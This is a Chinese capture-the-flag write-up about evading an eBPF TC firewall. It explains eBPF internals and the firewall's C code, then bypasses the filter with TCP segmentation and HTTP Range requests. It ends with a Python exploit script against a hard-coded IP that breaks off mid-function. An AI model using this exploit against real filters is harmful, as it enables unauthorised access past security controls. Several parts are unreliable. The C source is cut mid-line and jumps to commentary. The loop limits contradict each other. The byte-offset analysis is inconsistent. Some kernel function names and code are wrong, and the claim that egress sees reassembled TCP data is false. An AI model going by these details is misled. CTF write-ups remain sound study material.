这题考的eBPF 防火墙。刚开始看到的时候还以为是道常规的 Web 题,结果发现是内核层面的网络过滤,挺有意思的。

先说下 eBPF 。eBPF(Extended Berkeley Packet Filter)最早是用来做网络包过滤的,后来发展成了可以在内核里跑自定义代码的通用引擎。最大的特点是不用改内核源码就能在内核态执行代码,而且有 Verifier 保证安全性。

eBPF 程序的执行流程大概是:先用 clang 编译成字节码,然后通过 bpf() 系统调用加载到内核。内核里会先经过 Verifier 验证安全性,再用 JIT 编译成机器码,最后挂载到各种钩子点上(比如 TC 的 ingress/egress)。

eBPF 的架构组成

eBPF 整个系统分为用户空间和内核空间两部分。用户空间负责编译和加载程序,内核空间负责执行。中间通过 bpf() 系统调用和 Maps 进行通信。

从内核的角度看,eBPF 程序的加载流程是这样的。用户态调用 bpf() 系统调用传入 BPF_PROG_LOAD 命令,参数里包含程序类型(BPF_PROG_TYPE_TC)、字节码、程序长度等信息。内核收到后会创建 bpf_prog 结构,然后调用 Verifier 进行验证。验证通过后会触发 JIT 编译,生成机器码并存储在 bpf_prog->jited 字段中。最后通过各种挂载机制(如 tc 命令)将程序挂载到钩子点。

Maps 是 eBPF 中很重要的概念,本质上是内核里的键值对存储,用于在 eBPF 程序和用户空间之间传递数据。从实现上看,每个 Map 在内核里都是一个 bpf_map 结构,包含类型、key_size、value_size、max_entries 等元数据。底层存储根据类型不同而不同,哈希表用 hlist 管理,数组就是连续内存。常见的 Map 类型有 BPF_MAP_TYPE_HASH、BPF_MAP_TYPE_ARRAY、BPF_MAP_TYPE_RINGBUF 等。

比如你想统计某个网络流量的大小,可以在 eBPF 程序里把计数写到 Map,用户态程序再读出来。不过本题没用上 Map,因为防火墙只需要做检测,不需要保存状态。

Verifier 的工作原理

Verifier 是 eBPF 安全性的核心,它会在加载 eBPF 程序时做静态分析。主要检查几个方面:第一是确保程序会终止,不能有无限循环;第二是内存访问要安全,不能越界读写;第三是不能调用未授权的内核函数。

从实现上看,Verifier 用的是数据流分析(Data Flow Analysis)和抽象解释(Abstract Interpretation)技术。它会模拟执行程序的每一条可能路径,为每个指令点的寄存器和内存维护一个抽象状态。这个抽象状态包含类型信息(比如 PTR_TO_PACKET、SCALAR_VALUE)和值范围(比如 [0, 100])。Verifer 的核心结构在内核的 kernel/bpf/verifier.c,主要数据结构是 bpf_verifier_state,包含了所有寄存器的状态和栈帧状态。

以前 eBPF 程序不能写循环,因为 Verifier 无法证明循环一定会结束。后来内核加了 bpf_loop() 这个辅助函数,它要求循环次数必须在编译时就能确定,这样 Verifier 就能验证了。本题源码用的就是 bpf_loop(),这就是为什么 Verifier 能放行。

bpf_loop 的特殊性在于它把循环逻辑封装到了内核实现中,Verifier 只需要检查回调函数的安全性,而循环次数作为参数传入。内核会执行最多 BPF_MAX_LOOPS 次(默认约 100 万次,可通过 sysctl 调整),保证了终止性。这就绕过了 Verifier 无法验证复杂循环的问题。

Verifier 的验证过程挺有意思的。它会模拟执行程序的每一条路径,跟踪寄存器的值和范围。比如看到 if (a < 10) return,它就知道后面 a 一定大于等于 10。这种精确的范围跟踪让很多安全的操作能通过验证。如果 Verifier 无法证明某条路径是安全的,整个程序就会被拒绝加载。

具体来说,Verifer 使用了区间算术(Interval Arithmetic)来跟踪寄存器的值范围。每个寄存器维护 umin_value、umax_value、smin_value、smax_value 四个字段,分别表示无符号和有符号的最小最大值。比如执行 if (r1 < 100) 后,Verifer 会更新 r1 的 umax_value 为 99。执行算术运算时也会传播这些范围约束。通过这种方式,Verifer 可以在很多情况下证明指针偏移不会越界。

还有个重要概念是 tainting,用于跟踪寄存器是否来自用户可控输入。比如从数据包读取的值会被标记为 tainted,后续对这些值的使用会受更严格的检查。这防止了攻击者通过控制数据包内容来操纵程序执行流。

JIT 编译

eBPF 字节码是一种 RISC 指令集,有 11 个 64 位寄存器,指令格式固定。虽然字节码可以解释执行,但性能不好。所以内核会用 JIT(Just-In-Time)编译器把字节码编译成机器码,这样执行速度就接近原生代码了。

从指令集角度看,eBPF 的设计参考了经典体系结构。寄存器 R0 是返回值寄存器,R1-R5 是参数寄存器(调用时使用),R6-R9 是 callee-saved 寄存器(被调用者保存),R10 是只读的帧指针。这种设计使得函数调用约定很清晰,也便于 JIT 编译到目标架构。指令编码是 64 位固定长度,分为 opcode(8位)、dst(4位)、src(4位)、off(16位)、imm(32位)几个字段。支持 ALU 运算、内存加载存储、分支跳转、函数调用等指令类型。

JIT 编译发生在 Verifier 通过之后。编译后的机器码直接缓存在内核里,下次执行就不用重新编译。这也是为什么 eBPF 程序虽然运行在内核,但性能损失很小的原因。

JIT 编译器的实现代码在 arch/x86/net/bpf_jit_comp.c(x86-64 架构)。它的工作原理是把每条 eBPF 指令翻译成一组 x86-64 指令。eBPF 的寄存器直接映射到 x86-64 寄存器(R0→rax, R1→rdi, ...),减少了寄存器分配的开销。翻译过程还会做一些优化,比如死代码消除、常量折叠、指令合并等。JIT 后的代码存储在 bpf_prog->jited 指向的内存区域,这部分内存是用 vmalloc_exec 分配的可执行内存。

JIT 还有个重要特性是尾调用优化(Tail Call)。eBPF 程序可以调用 bpf_tail_call() 辅助函数跳转到另一个程序,这不会增加调用栈深度,因为 JIT 会把它编译成 jump 而不是 call。这让多个 eBPF 程序可以链接在一起执行,突破了单程序的复杂度限制。

钩子点和程序类型

eBPF 可以挂载到内核的很多位置,这些位置叫钩子点。常见的有网络相关的 XDP、TC、Socket, tracing 相关的 kprobe、tracepoint,还有安全相关的 LSM 钩子等。

XDP(eXpress Data Path)挂载点比 TC 还要早,在网卡驱动收到包之后、协议栈处理之前就执行。速度最快但功能有限,适合做简单的包过滤。TC 钩子在协议栈附近,功能更全但稍慢一些。本题用的就是 TC 钩子。

不同的钩子点对应不同的程序类型,程序类型决定了能访问哪些上下文信息和能调用哪些辅助函数。比如 TC 程序能访问 __sk_buff 结构,里面有数据包的各种信息;而 XDP 程序访问的是 xdp_md 结构。

内核中的钩子点是通过各种宏和回调函数实现的。比如 TC 钩子对应的是 tcf_classify 函数,它会在数据包经过 qdisc 层时被调用。kprobe 钩子通过 kprobe 机制在函数入口/出口插入断点。tracepoint 是内核静态埋点,通过 tracepoint_probe_register 注册回调。每个钩子点类型都有对应的 bpf_prog_ops 结构,定义了如何获取上下文、如何验证程序等操作。

TC 和网络栈

这题用的是 TC (Traffic Control),是 Linux 的流量控制机制。关键点在于 Ingress 和 Egress 两个钩子的位置不一样。

从内核源码的角度看,数据包的入站路径是这样的。网卡驱动通过 NAPI 机制收到数据包,调用 napi_gro_receive 进入 GRO(Generic Receive Offload)层。GRO 会尝试聚合小包减少处理开销。然后调用 netif_receive_skb,这是 ingress 钩子的触发点。如果是 clsact qdisc,会调用 sch_handle_ingress 执行挂载的 eBPF 程序。之后才进入协议栈,IP 层处理(ip_rcv)、TCP 层处理(tcp_v4_rcv),最后才重组 TCP 段交给应用程序。

关于 GRO 需要特别说明。GRO 是 Generic Receive Offload 的缩写,它在网卡驱动之后尝试把属于同一流的小包合并成大包,减少协议栈处理开销。比如多个连续的 TCP ACK 可能被合并成一个,多个小的 TCP 数据段可能被合并。这对于性能很重要,但对于基于包的检测是个挑战。本题中如果启用了 GRO,理论上可能影响分段攻击的效果。但 GRO 的合并有限制,比如只合并连续的序列号、不超过最大聚合大小等。而且 GRO 发生在 ingress 钩子之前,所以防火墙看到的可能是已经被 GRO 合并过的包。

IP 分片是另一个需要考虑的问题。当 IP 数据报超过 MTU 时会被分片,每个分片有独立的 IP 头,包含相同的标识符但不同的片偏移。分片在目的主机重组,重组逻辑在 ip_defrag 函数中。如果防火墙只检查 IP 载荷而不考虑分片,也可能被绕过。不过本题的绕过是基于 TCP 段而不是 IP 分片,所以不需要触发 IP 分片。

出站路径则是应用程序调用 sendmsg 发送数据,TCP 层把数据分段,调用 ip_queue_xmit 进入 IP 层,然后经过路由和邻居子系统,最后调用 dev_queue_xmit。在 dev_queue_xmit 里,如果配置了 clsact,会调用 sch_handle_egress 执行 egress 钩子的 eBPF 程序。之后才到 qdisc 层排队,最后到网卡驱动发送。

Ingress 在数据包从网卡到协议栈的路径上,这时候 TCP 还没重组,防火墙看到的是原始的分段。Egress 在数据包从协议栈到网卡的路径上,这时候 TCP 已经重组完了,防火墙看到的是数据。

这个差异就是这题漏洞。从内核的 skb 结构角度看,ingress 时 skb->data 指向的是网络层头部(IP头),而 egress 时 skb->data 指向的可能是已经重组后的应用层数据。这就导致防火墙在两个方向看到的"数据"不同。

TC Actions 返回值

/* tc act return codes */
#define TC_ACT_OK          0   // 继续正常处理,交给协议栈
#define TC_ACT_RECLASSIFY  1   // 重新分类
#define TC_ACT_SHOT        2   // 丢弃数据包,停止处理
#define TC_ACT_PIPE        3   // 继续下一个 filter
#define TC_ACT_STOLEN      4   // 数据包被"偷走",停止处理
#define TC_ACT_REDIRECT    5   // 重定向到其他设备
#define TC_ACT_UNSPEC     -1   // 未指定,使用默认行为

本题防火墙使用的返回值:
检测到违规:返回
TC_ACT_SHOT (2),丢弃数据包
检测通过:返回
TC_ACT_OK (0),继续处理
协议不匹配:返回
TC_ACT_UNSPEC (-1),交给默认逻辑

clsact Qdisc 机制

传统 TC 使用复杂的 qdisc (queuing discipline) 层次结构。而 clsact 是一个特殊的 qdisc,专门设计用于 ingress/egress 分类:

# 添加 clsact qdisc
tc qdisc add dev eth0 clsact

# clsact 不做任何队列调度,只提供挂载点
# 它有两个内置的 handle:
#   - ingress: 用于入站过滤
#   - egress:  用于出站过滤

这题就是考 eBPF 防火墙。题目在内核层的 TC 钩子上挂了个 eBPF 程序,拦截所有包含 "flag" 或 "%" 的 TCP 流量。防火墙同时挂在 Ingress 和 Egress 两个方向,双向过滤。玩家需要理解 eBPF 程序的原理,找到无状态检测的漏洞,然后用 TCP 分段和 HTTP Range 请求绕过。

SEC 宏和 ELF Section

eBPF 源码里到处能看到 SEC("xxx") 这样的宏,它是用来告诉编译器把函数放到哪个 ELF section 里的。比如 SEC("tc/ingress") 表示这个函数应该放到 tc/ingress section。

ELF 文件编译出来会有很多 section,比如 .text、.data 这些标准段。eBPF 程序会自定义一些 section 名称,tc 命令加载时会根据 section 名称找到对应的函数。这就是为什么 shell 脚本里用 sec tc/ingress 指定要挂载的函数。

编译后的 .o 文件可以用 readelf -S 看到所有的 section。除了 section 信息,ELF 文件里还包含 eBPF 字节码、重定位信息、Map 定义等。tc 命令会解析这些信息,把正确的字节码加载到内核。

从加载器的角度看,libbpf 是目前主流的 eBPF 加载库。它会解析 ELF 文件,提取 BPF 程序和 Map 定义,然后通过 bpf() 系统调用加载。Map 定义在 .maps section 或通过 BTF(BPF Type Format)元数据描述。BTF 是 eBPF 的类型信息格式,类似于 DWARF 但更简单,用于支持 CO-RE(Compile Once, Run Everywhere)。CO-RE 让编译好的 eBPF 程序可以在不同内核版本上运行,通过 BTF 信息重定位类型和结构体偏移。

辅助函数

eBPF 程序不能随便调用内核函数,只能用内核提供的一组辅助函数(helpers)。这些函数有明确的参数类型和返回值,Verifier 能验证调用是否合法。

从内核实现看,每个辅助函数都有一个 bpf_func_proto 结构描述,包含函数类型、参数类型、返回值类型等信息。所有辅助函数注册在 bpf_verifier_ops->get_func_proto 回调中。当 Verifier 遇到 BPF_CALL 指令时,会查找这个回调获取函数原型,然后验证参数类型是否匹配。辅助函数的调用不是普通的函数调用,而是通过 BPF_CALL 指令实现的,opcode 里编码了函数 ID。

本题用到的 bpf_skb_load_bytes() 和 bpf_loop() 都是辅助函数。其他常见的还有 bpf_map_lookup_elem() 查找 Map、bpf_map_update_elem() 更新 Map、bpf_probe_read_kernel() 读取内核内存等。

辅助函数的数量随着内核版本更新在不断增加,现在已经有几百个了。每个辅助函数都有一个唯一的 ID,程序里调用的时候其实是传递这个 ID 给内核。

调用流程是这样的。eBPF 指令 BPF_CALL 0, func_id 会触发内核调用对应的 helper。函数参数通过 eBPF 寄存器 R1-R5 传递,返回值放在 R0。内核会检查参数类型是否匹配 helper 的定义。比如 bpf_skb_load_bytes 要求第一个参数是 PTR_TO_PACKET 或 PTR_TO_CTX,第二个是 SCALAR_VALUE(偏移量),如果类型不对就会被 Verifier 拒绝。这种强类型检查保证了 helper 调用的安全性。

__sk_buff 结构详解

TC 程序的第一个参数是 struct __sk_buff *skb,这是一个对内核 struct sk_buff 的安全封装。内核的 sk_buff 结构很复杂,包含很多内部字段,直接暴露给 eBPF 不安全。所以 __sk_buff 只暴露了必要的字段,而且这些字段都是只读或受控的。

从内核实现看,__sk_buff 的字段在访问时会被转换成对 sk_buff 的访问。比如 __sk_buff->data 其实访问的是 skb->data,但 Verifier 会确保访问是安全的。关键的几个字段包括 data(数据指针)、data_end(数据结束指针)、len(数据长度)、protocol(协议类型)、hash(流量哈希)等。data 和 data_end 用于边界检查,eBPF 程序在访问数据包内容前必须验证 data + offset < data_end,否则 Verifier 会拒绝。

本题中防火墙读取 IP 头和 TCP 头就是这样做的。先计算 ETH_HLEN + ip_hdr_size 得到 IP 载荷偏移,然后用 bpf_skb_load_bytes 读取。bpf_skb_load_bytes 内部会做边界检查,如果偏移超出数据包范围就返回错误。这个设计让 eBPF 程序不会因为越界访问导致内核崩溃。

eBPF 的安全模型和攻击面

eBPF 的安全基于多层防护。第一层是 Verifier 的静态分析,第二层是运行时检查(比如指针访问),第三层是 Linux 的权限控制(需要 CAP_BPF 或 CAP_SYS_ADMIN)。这三层防护共同确保 eBPF 程序不会危害系统安全。

但从安全研究角度看,eBPF 并非无懈可击。历史上发现过多个 eBPF 相关的 CVE,比如 CVE-2021-3444(Verifier 规避)、CVE-2022-1679(JIT 编译漏洞)、CVE-2023-2163(Map 越界写)等。这些漏洞的利用大多依赖于 Verifier 的逻辑错误或 JIT 编译器的 bug。比如某些情况下 Verifier 无法正确跟踪指针的生命周期,导致 use-after-free;或者 JIT 编译时没有正确处理某些边界条件,导致越界读写。

eBPF 在安全领域既是矛也是盾。作为盾,它可以用于构建高性能的防火墙、入侵检测系统、沙箱监控等。作为矛,它被用于 rootkit 和恶意软件检测规避。比如可以把 eBPF 程序挂载到文件系统相关钩子,隐藏特定文件;或者挂载到进程相关钩子,隐藏特定进程。这就是为什么安全研究人员需要深入理解 eBPF 的工作原理。

先来看entrypoint.sh

编译参数挺简单的:-O3 是最高优化级别,-g 加调试信息(虽然 Verifier 不用),-target bpf 指定 BPF 架构,-I 指定头文件路径,-c 表示只编译不链接。

tc qdisc show dev eth0 | grep -q clsact || \
  tc qdisc add dev eth0 clsact

就是检查 clsact 是否已存在,没有就添加,用 || 保证幂等性。

tc filter add dev eth0 ingress bpf da obj /src/firewall.o sec tc/ingress

tc filter add 添加过滤器,bpf da 表示直接 action 模式(eBPF 返回值直接作为 TC action),obj 指定对象文件,sec 指定 ELF section 名称。
sec tc/ingress:ELF section 名称(对应源码中的 SEC("tc/ingress"))

Direct-Action 模式:
传统模式:
bpf 需要配合 action 关键字
da 模式:eBPF 程序的返回值直接作为 action,更简洁

tc filter add dev eth0 egress bpf da obj /src/firewall.o sec tc/ingress

egress 使用的是 sec tc/ingress(同一个 section),因为源码中只定义了一个 firewall_in 函数。

nginx -g "daemon off;"

daemon off:前台运行,保持容器主进程活跃。

我们来看完整的c语言源码。

源码

#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_endian.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/in.h>
#include <linux/tcp.h>
#include <linux/pkt_cls.h>

#define IP_MF       0x2000
#define IP_OFFSET   0x1fff
#define MAX_PKT_LEN 0xffff
#define WINDOW_LEN 256
#define KW_LEN 4
static const char blocked_kw[KW_LEN] = "flag";
static const char blocked_char = '%';

struct kw_scan_ctx {
    struct __sk_buff *skb;
    __u32 off;
    __u32 len;
    __u32 found;
};

static long kw_scan_cb(__u32 idx, void *data)
{
    struct kw_scan_ctx *ctx = data;
    unsigned char buf[KW_LEN];

    if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, KW_LEN) < 0) {
        ctx->found = 1;
        return 1;
    }

    if (__builtin_memcmp(buf, blocked_kw, KW_LEN) == 0) {
        ctx->found = 1;
        return 1;
    }

    return 0;
}

__u32 __always_inline has_blocked_kw(struct __sk_buff *skb, __u32 off, __u32 len)
{
    if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN || len >= MAX_PKT_LEN)
        return 1;

    if (len < KW_LEN) {
        return 0;
    }

    struct kw_scan_ctx ctx = {
        .skb   = skb,
        .off   = off,
        .len   = len,
        .found = 0,
    };

    __u32 nr_loops = len - KW_LEN + 1;

    long ret = bpf_loop(nr_loops, kw_scan_cb, &ctx, 0);
    if (ret < 0) {
        return 1;
    }

    return ctx.found ? 1 : 0;
}

static long char_scan_cb(__u32 idx, void *data)
{
    struct kw_scan_ctx *ctx = data;
    unsigned char buf[1];

    if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, 1) < 0) {
        ctx->found = 1;
        return 1;
    }

    if (buf[0] == blocked_char) {
        ctx->found = 1;
        return 1;
    }

    return 0;
}

__u32 __always_inline has_blocked_char(struct __sk_buff *skb, __u32 off, __u32 len)
{
    if (off > MAX_PKT_LEN || off + len > MAX_PKT_LEN | IP_OFFSET)

为什么 Verifier 能接受?

  1. 循环次数可静态确定:nr_loops 是常量
  2. 回调函数无副作用:不修改循环条件
  3. 最大迭代次数限制:约 800 万次(防止 DoS)

本题中的使用:

struct kw_scan_ctx ctx = { .skb = skb, .off = off, .len = len, .found = 0 };
__u32 nr_loops = len - KW_LEN + 1;  // 例如:20 - 4 + 1 = 17
bpf_loop(nr_loops, kw_scan_cb, &ctx, 0);

执行流程示例:

假设载荷是 "xflagflag"(长度 9):

nr_loops = 9 - 4 + 1 = 6

循环调用:
  idx=0: kw_scan_cb(0, &ctx)  → 检查 "xfla"  → 不匹配 → 返回 0
  idx=1: kw_scan_cb(1, &ctx)  → 检查 "flag"  → 匹配! → 返回 1,终止循环

ctx.found = 1
最终返回 1(检测到违规)

bpf_skb_load_bytes

if (bpf_skb_load_bytes(ctx->skb, ctx->off + idx, buf, KW_LEN) < 0) {
    ctx->found = 1;
    return 1;
}

函数原型:

long bpf_skb_load_bytes(struct __sk_buff *skb,
                        __u32 offset,        // 起始偏移
                        void *to,            // 目标缓冲区
                        __u32 len);          // 读取长度

为什么需要它?

eBPF 不能直接像用户态那样随意访问内存:

// 不安全:直接解引用可能越界
char *data = (char *)skb->data;
char c = data[offset];  // Verifier 无法验证安全性
// 安全:使用 bpf_skb_load_bytes
char buf[4];
bpf_skb_load_bytes(skb, offset, buf, 4);  // Verifier 能验证

bpf_skb_load_bytes 的安全保证:
如果
offset + len 超出数据包范围,返回负值
Verifier 能静态分析这个调用,证明程序不会越界

本题中的错误处理:

if (bpf_skb_load_bytes(...) < 0) {
    ctx->found = 1;  // 加载失败视为"发现违规"
    return 1;
}

这是一个保守的设计:如果无法安全读取,就假设有违规,丢弃数据包。

从内核实现看,bpf_skb_load_bytes 对应的内核函数是 bpf_skb_load_bytes_impl,它调用 skb_store_bits 或类似函数从 sk_buff 拷贝数据。关键点在于它会先检查 offset 和 len 的合法性,然后用 probe_kernel_read 读取数据(对可能映射到用户空间的 skb_frags)。这防止了 eBPF 程序访问非法内存导致内核崩溃。

还有一个相关的辅助函数是 bpf_skb_load_bytes_relative,它可以相对于某个协议头(如 MAC 头或网络头)进行偏移,更灵活。但本题只用到了绝对的偏移量。

__builtin_memcmp

if (__builtin_memcmp(buf, blocked_kw, KW_LEN) == 0) {
    ctx->found = 1;
    return 1;
}

为什么使用 __builtin_memcmp?

eBPF Verifier 对函数调用有严格限制。__builtin_memcmp 是 GCC/Clang 的内置函数(builtin),会被编译器内联为直接的比较指令:

// __builtin_memcmp(buf, "flag", 4) 可能被编译为:

if (buf[0] == 'f' &&
    buf[1] == 'l' &&
    buf[2] == 'a' &&
    buf[3] == 'g') {
    // 匹配
}

优势:
无外部函数依赖
Verifier 能内联分析
性能更好(无函数调用开销)

核心漏洞:无状态检测 (Stateless Inspection)

漏洞的本质

防火墙的检测逻辑存在根本性的设计缺陷:

// firewall.c:191-196
if (has_blocked_kw(skb, ETH_HLEN + ip_hdr_size, ip_tot_len - ip_hdr_size)) {
    return TC_ACT_SHOT;
}

这个函数只检查当前这一个数据包。它:
没有维护 TCP 连接状态(四元组:src_ip, src_port, dst_ip, dst_port)
不理解 TCP 是一个字节流
不重组 TCP 分段,只看原始包

TCP 协议栈差异

Ingress Hook:在 TCP 重组之前执行
防火墙看到的不是 "GET /flag.html",而是独立的 "GET /f" 和 "lag.html..."
TCP 重组发生在防火墙之后

从内核 TCP 实现角度看,TCP 的重组逻辑在 tcp_data_queue 函数中。当收到 TCP 段时,内核会检查序列号,如果是期望的下一个序列号(rcv_nxt),就直接放入接收队列;如果是乱序到达,就插入 out_of_order_queue;如果有缺口(hole),就等待后续段填补。只有当所有段都到齐,序列号连续时,才会重组后交给应用程序。

本题的关键在于,ingress 钩子在 netif_receive_skb 函数中触发,这发生在 tcp_v4_rcv 之前。此时数据包还是原始的 IP 分片和 TCP 段,TCP 层还没处理。而 egress 钩子在 dev_queue_xmit 中触发,这时 TCP 层已经把数据分段并发送了,但接收端的 egress 看到的是已经重组的数据。

具体到数据结构,内核中每个 TCP 连接有一个 struct tcp_sock,包含接收队列(receive_queue)和乱序队列(out_of_order_queue)。ingress 时防火墙看到的是 skb->data 指向的原始 TCP 载荷,而重组后应用程序看到的是 receive_queue 里按序列号排序好的数据。防火墙不理解 TCP 序列号,也不知道如何重组,所以只能看到一个个孤立的段。

为什么这是个漏洞

这是有状态防火墙与无状态防火墙区别:

有状态防火墙会维护连接状态表,记录每个 TCP 连接的四元组和当前状态(SYN_SENT、ESTABLISHED 等)。在检测时会考虑整个连接的上下文,比如重组 TCP 段、跟踪序列号、检测异常行为。实现上通常用 Map 存储连接状态,键是四元组,值是状态结构体。eBPF 程序在收到包时先查找 Map,获取连接状态,然后根据状态和当前包的内容做决策。这种设计可以避免本题的绕过,因为防火墙会看到重组后的完整数据流。

无状态防火墙则不维护任何状态,每个数据包独立处理。优点是实现简单、性能好、不需要额外的内存存储。缺点是无法理解协议的语义,容易被协议层技巧绕过。本题的防火墙就是无状态的,它只检查当前包的内容,不理解 TCP 是字节流,所以可以通过分段绕过。

从实现角度看,要把这个防火墙改成有状态的,需要用 BPF_MAP_TYPE_HASH 存储连接状态。键可以是 struct bpf_sock_tuple(包含四元组),值可以是序列号、已接收数据的缓冲区等。每次收到包时查找 Map,如果连接不存在就创建,然后更新状态。但这样会显著增加复杂度,因为需要处理连接超时、状态清理、并发访问等问题。而且 Map 的容量有限,大量连接可能导致 Map 溢出。这就是为什么很多简单的 eBPF 防火墙选择无状态设计。

入站绕过(TCP 分段攻击)

利用 TCP 的分段特性,把 "flag" 拆到不同段里。正常情况发送 "GET /flag.html" 会被拦截,但如果分成 "GET /f" 和 "lag.html" 两个段发送,防火墙检查每个段都看不到完整的 "flag",就放行了。TCP 协议栈在防火墙后面重组,Nginx 收到的是完整的请求。

TCP_NODELAY 和 Nagle 算法

Nagle 算法目的是减少小包数量。如果有未确认的小包在传输,就会暂存新数据等待 ACK 或积累更多。没有的话就立即发送。

从内核实现看,Nagle 算法的逻辑在 tcp_tcp_push 函数中。它检查两个条件:第一是有未确认的数据(TCP_NAGLE_PUSH 标志未设置),第二是有新的数据要发送且小于 MSS。如果两个条件都满足,就会暂存数据而不立即发送。只有当收到 ACK 或者积累了足够数据(达到 MSS)时才发送。

Nagle 算法的内核源码逻辑大概是:

if (sock_flag(sk, SOCK_QUEUED) &&
    !(tcp_flag_byte(skb) & TCP_NAGLE_PUSH) &&
    tcp_skb_entail(sk, skb) &&
    ... ) {
    // 启用 Nagle,暂存数据
} else {
    // 立即发送
    tcp_push(sk, flags);
}

TCP_NODELAY 选项的作用是禁用 Nagle 算法。从内核角度看,设置 TCP_NODELAY 后,会设置 TCP_NODELAY 标志,tcp_nagle_test 函数会直接返回 false,导致每次 send 都立即调用 tcp_push,不等待。这对于需要低延迟的小包很重要,比如本题的绕过攻击。

没有 TCP_NODELAY 的问题:

# 没有 TCP_NODELAY 的情况
s.send(b"GET /f")
# 此时第一个包可能还未 ACK

s.send(b"lag.html")
# Nagle 算法可能将两者合并!
# 实际发送: "GET /flag.html"
# 防火墙检测到 "flag" → DROP

使用 TCP_NODELAY 后:

s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

s.send(b"GET /f")
# 立即发送,不等待

s.send(b"lag.html")
# 也立即发送
# 实际发送: 两个独立的 TCP 段

TCP_NODELAY 的影响:

默认情况(启用 Nagle):
  send("GET /f") ──┐
                   ├──> 合并为 "GET /flag.html"
  send("lag.html")─┘

使用 TCP_NODELAY:
  send("GET /f") ──> 立即发送: "GET /f"
  send("lag.html")─> 立即发送: "lag.html"

time.sleep(0.1)

for p in parts:
    s.send(p)
    time.sleep(0.1)  # 100ms

虽然 TCP_NODELAY 已经足够,但 sleep 增加了可靠性:

  1. 确保数据包发出:send() 只是将数据写入发送缓冲区,不一定立即发出
  2. 给 ACK 时间:让第一个包被确认后再发送第二个
  3. 避免 PSH 合并:某些实现可能对多个 PSH 标志的段进行合并

时间线分析:

t=0ms:   send("GET /f")
         数据写入发送缓冲区
         TCP_NODELAY 确保立即发送
t=1ms:   包到达防火墙 → PASS
t=50ms:  包到达服务器 → TCP 重组缓冲区
t=100ms: sleep 结束,send("lag.html")
t=101ms: 包到达防火墙 → PASS
t=150ms: 包到达服务器
t=150ms: TCP 协议栈重组完成 → "GET /flag.html"
t=151ms: Nginx 接收请求

MSS 限制

MSS (Maximum Segment Size) 是 TCP 单个段的最大数据量:

典型以太网 MTU = 1500 字节
IP 头 = 20 字节
TCP 头 = 20 字节
MSS = 1500 - 20 - 20 = 1460 字节

本题的请求很小:

"GET /flag.html HTTP/1.1\r\nHost: example.com\r\n\r\n"
大约 50 字节,远小于 MSS

所以不会被 TCP 层自动分段,我们的分段是应用层主动分段。

出站绕过(HTTP Range 请求)

出站绕过

即使我们成功绕过 Ingress,请求了 /flag.html:

Ingress Check:
  "GET /f" → PASS ✓
  "lag.html" → PASS ✓

Nginx 处理请求,返回:
  "<h1>Here is your free flag: TEST{FLAG}</h1>"

Egress Check:
  响应数据包含 "flag"
  → DROP ✗

问题:响应在 Egress 也被拦截。

HTTP Range 请求

HTTP Range 请求是 RFC 7233 定义的标准功能:

正常请求:
  GET /flag.html HTTP/1.1
  Host: example.com

  响应:
  HTTP/1.1 200 OK
  Content-Length: 214

  <h1>Here is your free flag: TEST{FLAG}</h1>

Range 请求:
  GET /flag.html HTTP/1.1
  Host: example.com
  Range: bytes=0-49    ← 只要前 50 字节

  响应:
  HTTP/1.1 206 Partial Content    ← 注意状态码
  Content-Range: bytes 0-49/214   ← 格式:start-end/total
  Content-Length: 50

  <h1>Here is your free flag: TEST{FLAG}

Range 头部的格式:

Range: bytes=0-49          // 单一范围
Range: bytes=0-49,100-149  // 多个范围
Range: bytes=50-           // 从 50 开始到结束
Range: bytes=-100          // 最后 100 字节

分段策略

flag.html 的内容:

<h1>Here is your free flag: TEST{FLAG}</h1>

长度约 214 字节,"flag" 出现在位置约 22-25 处。

使用 10 字节分块的原因:

分块大小 = 10 字节

内容:
  <h1>Here is your free flag: TEST{FLAG}</h1>
  ↑───────────↑───────────↑───────────↑
  bytes 0-9   bytes 10-19  bytes 20-29  bytes 30-39

分析:
  Offset 0-9:   "<h1>Here is"        (无 "flag")
  Offset 10-19: " your free"         (无 "flag")
  Offset 20-29: " flag: TEST"        ← "fl" 在 22-23
  Offset 30-39: "{FLAG}</h1>"        ← "ag" 在 30-31
  ...

关键:"flag" 被拆成 "fl" 和 "ag",分布在两个独立的响应中。

10 字节分块的原因

为什么 4 字节危险?

"flag" 正好 4 字节
如果分块大小 = 4 字节
可能出现:
  bytes 0-3:   "..."
  bytes 4-7:   "flag"   ← 的 "flag"

10 字节的安全性:

最坏情况: "flag" 正好在分块边界

假设内容是: "xxxxflagyyyy"

分块大小 10:
  bytes 0-9:  "xxxxflagyy"    ← 包含 "flag",危险

但实际 HTML 中,"flag" 周围通常有其他字符,不太可能正好对齐 10 字节边界。

每次 Range 请求都把 "GET /flag.html" 分段发送("GET /f" + "lag.html"),绕过 Ingress 检查。Nginx 返回对应范围的数据,比如 Range: 0-9 返回 "Here is",Range: 20-29 返回 " flag: TEST"。因为 "flag" 被拆散了,Egress 检查也放行。最后把所有片段拼起来就是完整的 flag。

exp

import socket
import time

target_ip = "35.227.38.232"
target_port = 5000

def get_flag_by_ranges():
    full_flag = ""
    # flag.html 约 214 字节,每次请求 10 字节
    for i in range(0, 214, 10):
        try:
            # 创建连接 ==========
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            # 禁用 Nagle ==========
            # 立即发送
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

            # 连接 ==========
            s.connect((target_ip, target_port))

            # Range 头 ==========
            # Range: bytes=0-9, bytes=10-19, ...
            range_header = f"Range: bytes={i}-{i+9}\r\n"

            # 分段发送请求 ==========
            parts = [
                b"GET /f",                    # 段 1: 将 "flag" 的 "f" 独立
                b"lag.html HTTP/1.1\r\n",     # 段 2: "lag" 分离
                f"Host: {target_ip}\r\n".encode(),
                range_header.encode(),        # Range 请求
                b"Connection: close\r\n\r\n" # 请求头结束
            ]

            # 发送 ==========
            for p in parts:
                s.send(p)
                time.sleep(0.1)  # 等待 100ms,确保分段

            # 接收 ==========
            s.settimeout(3)  # 3 秒超时
            response = b""
            while True:
                chunk = s.recv(4096)
                if not chunk: break
                response += chunk

            # 响应 ==========
            if b"\r\n\r\n" in response:
                # 分离 HTTP 头和 Body
                headers, body = response.split(b"\r\n\r\n", 1)
